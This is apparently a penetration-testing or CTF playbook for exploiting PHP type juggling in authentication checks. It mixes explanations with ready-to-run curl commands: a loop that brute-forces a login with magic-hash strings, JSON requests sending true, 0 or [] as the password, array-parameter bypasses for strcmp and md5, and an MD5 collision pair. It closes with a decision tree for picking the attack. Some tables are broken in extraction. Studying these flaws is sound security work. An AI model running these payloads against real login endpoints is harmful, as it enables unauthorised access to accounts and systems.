PHP's weak typing system is one of its biggest security risks.== The operator performs type conversion before comparison, causing seemingly different values to be judged as equal.
Phase 0: Quick Identification (10-second judgment)
If you see any of the following signals, immediately suspect type juggling:
| Signal | Judgment |
|---|---|
| PHP 5.x (especially 5.6 and below) | High probability,== seen everywhere |
| The error response leaks the input's MD5/SHA1 hash | Extremely strong signal → Magic Hash |
| Login/authentication page, PHP backend | Check whether == comparison |
| JSON API accepts PHP backend processing | Can send true/0/[] type |
Appears in source code ==、strcmp、md5() |
Directly exploitable |
| "password incorrect" but leaks hash format | Magic Hash scenario |
Phase 1: Magic Hash Attack (most common scenario)
Principle
In PHP, "0e123456" == "0e789012" results in true。
Because PHP treats a pure numeric string starting with 0e as scientific notation:0 × 10^123456 = 0, so both sides equal 0。
When the backend code is:
if (md5($user_input) == $stored_hash) { // 注意是 == 不是 ===
// 认证成功
}
As long as $stored_hash 's MD5 happens to start with 0e as pure digits, the attacker only needs to input any string whose known MD5 also starts with 0e as pure digits.
Magic Hash String Quick Reference Table
MD5 Magic Strings(Input these values, whose MD5 starts with 0e and is followed by pure digits):
| Input string | MD5 value |
|---|---|
240610708 |
0e462097431906509019562988736854 |
QNKCDZO |
0e830400451993494058024219903391 |
aabg7XSs |
0e087386482136013740957780965295 |
aabC9RqS |
0e041022518165728065344349536617 |
s878926199a |
0e545993274517709034328855841020 |
s155964671a |
0e342768416822451524974117254469 |
s214587387a |
0e848240448830537924465865611904 |
0e215962017 |
0e291242476940776845150308577824 |
SHA1 Magic Strings:
| Input string | SHA1 value |
|---|---|
aaroZmOk |
0e66507019969427134894567494305185566735 |
aaK1STfY |
0e76658526655756207688271159624026011393 |
aaO8zKZF |
0e89257456677279068558073954252716165668 |
aa3OFF9m |
0e36977786278517984959260394024281014729 |
Practical steps
- Confirm the scenario: see password verification + PHP, especially leaking an MD5 hash on error
- Verify
0ejudgment: if the leaked "correct password's hash" happens to be0e[纯数字], then it is 100% Magic Hash - Try all Magic Strings: submit them one by one according to the table above
# 批量测试 MD5 magic strings
for pw in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "s878926199a" "s155964671a" "s214587387a" "0e215962017"; do
echo "=== Testing: $pw ==="
curl -s -X POST "$TARGET/index.php" -d "password=$pw" | grep -i "flag\|success\|welcome\|correct\|vault"
done
- If the correct password hash is unknown, just try them all directly—as long as the backend uses
==to compare MD5, any two magic strings are equivalent to each other
Key insight: you do not need to know what the target password or target hash is. As long as the backend uses
md5($input) == md5($stored)and$stored's MD5 happens to start with0e, any magic string can pass.
Phase 2: Direct Type Juggling (non-hash scenario)
== Loose comparison table (key combinations)
0 == "any_string" → true (PHP 5.x; PHP 8 已修复)
0 == "" → true (PHP 5.x)
0 == null → true
"" == null → true
false == "" → true
false == 0 → true
false == null → true
"0" == false → true
"0" == null → false (注意!)
1 == "1abc" → true (PHP 5.x)
"php" == 0 → true (PHP 5.x)
JSON Type Injection
When PHP receives JSON input, you can directly send non-string types to bypass comparison:
# 原始请求(字符串密码)
curl -X POST "$TARGET/api/login" -H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrong"}'
# 类型杂耍攻击:发送 true (bool)
curl -X POST "$TARGET/api/login" -H "Content-Type: application/json" \
-d '{"username":"admin","password":true}'
# 类型杂耍攻击:发送 0 (int)
curl -X POST "$TARGET/api/login" -H "Content-Type: application/json" \
-d '{"username":"admin","password":0}'
# 类型杂耍攻击:发送空数组
curl -X POST "$TARGET/api/login" -H "Content-Type: application/json" \
-d '{"username":"admin","password":[]}'
Principle:true == "any_non_empty_string" in PHP is true。
strcmp bypass
// 后端代码
if (strcmp($user_input, $secret) == 0) { ... }
strcmp returns when it receives an array argument NULL, while NULL == 0 is true:
# 表单参数发送数组
curl -X POST "$TARGET/login.php" -d "password[]=anything"
# JSON 发送数组
curl -X POST "$TARGET/api/auth" -H "Content-Type: application/json" \
-d '{"password":[]}'
is_numeric bypass
if (is_numeric($input) && $input > 9999) { ... }
Hexadecimal strings are recognized as numbers by is_numeric in PHP 5.x:
# 0x270F = 9999
curl "$TARGET/check.php?input=0x270F"
Phase 3: Hash comparison bypass (advanced)
md5/sha1 array bypass
md5() and sha1() return NULLwhen receiving an array parameter, so:
// 后端
if (md5($_GET['a']) == md5($_GET['b'])) { ... }
# 两边都传数组 → md5(array) = NULL → NULL == NULL → true
curl "$TARGET/check.php?a[]=1&b[]=2"
md5 collision (=== strict comparison bypass)
When the backend uses === for comparison, magic hash and array tricks are both ineffective, and a real MD5 collision is required:
# 经典 MD5 碰撞对(URL 编码的二进制数据)
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
curl "$TARGET/check.php" --data-urlencode "a=$a" --data-urlencode "b=$b"
Phase 4: PHP version differences
| Behavior | PHP 5.x | PHP 7.x | PHP 8.0+ |
|---|---|---|---|
0 == "string" |
true |
true |
false |
"0e123" == "0e456" |
true |
true |
true(still!) |
strcmp([], "str") |
NULL + warning |
NULL + warning |
TypeError |
md5([]) |
NULL + warning |
NULL + warning |
TypeError |
"0x1A" == 26 |
true |
false |
false |
json_decode type preservation |
✅ | ✅ | ✅ |
Important:
0eMagic Hash is still effective in PHP 8.x! Because both sides are strings,==will still perform scientific notation conversion.
Decision tree
看到 PHP 认证/比较逻辑?
├─ 错误响应泄露了 MD5 哈希?
│ ├─ 哈希是 0e[纯数字] → 100% Magic Hash,直接用 magic string 表
│ └─ 哈希不是 0e 开头 → 可能不是 type juggling,但仍尝试 magic strings(也许存储密码不同)
├─ 接受 JSON 输入?
│ └─ 尝试 true/0/[]/null → JSON type juggling
├─ 表单 POST 参数?
│ └─ 尝试 password[]=xxx → strcmp 绕过 / md5 数组绕过
├─ GET 参数哈希比较?
│ └─ 尝试 a[]=1&b[]=2 → md5/sha1 数组绕过
└─ 源码可读?
├─ 看到 == → 对应利用方式
└─ 看到 === → 需要真碰撞或其他漏洞
Notes
- The Magic Hash attack does not require knowing the target password; it only requires the backend to use
==to compare hashes 0emust be all digits afterward to trigger scientific notation conversion (0e1a2bwill not)- Try
240610708andQNKCDZOfirst; these two are the most classic - PHP 8.0 fixed
0 == "string"but did not fix"0e..." == "0e..."magic hash - Mark as "CWE-1025: Comparison Using Wrong Factors" in penetration test reports
In-depth references
- Type Juggling exploitation payloads and login bypass techniques → references/type-juggling-exploitation.md